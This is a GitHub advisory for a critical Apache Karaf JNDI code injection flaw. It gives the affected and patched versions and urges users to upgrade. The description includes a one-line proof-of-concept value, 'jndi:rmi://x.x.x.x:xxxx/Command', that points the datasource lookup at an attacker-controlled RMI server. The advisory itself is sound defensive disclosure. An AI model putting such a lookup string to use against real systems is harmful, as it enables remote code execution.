Apache Karaf vulnerable to potential code injection
Critical severity
GitHub Reviewed
Published
Dec 21, 2022
to the GitHub Advisory Database
•
Updated Jan 28, 2023
Package
Affected versions
< 4.3.8
>= 4.4.0, < 4.4.2
Patched versions
4.3.8
4.4.2
Description
Published by the National Vulnerability Database
Dec 21, 2022
Published to the GitHub Advisory Database
Dec 21, 2022
Reviewed
Dec 21, 2022
Last updated
Jan 28, 2023
This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function
jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
usesInitialContext.lookup(jndiName)
without filtering. A user can modifyoptions.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());
tooptions.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");
inJdbcLoginModuleTest#setup
. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.References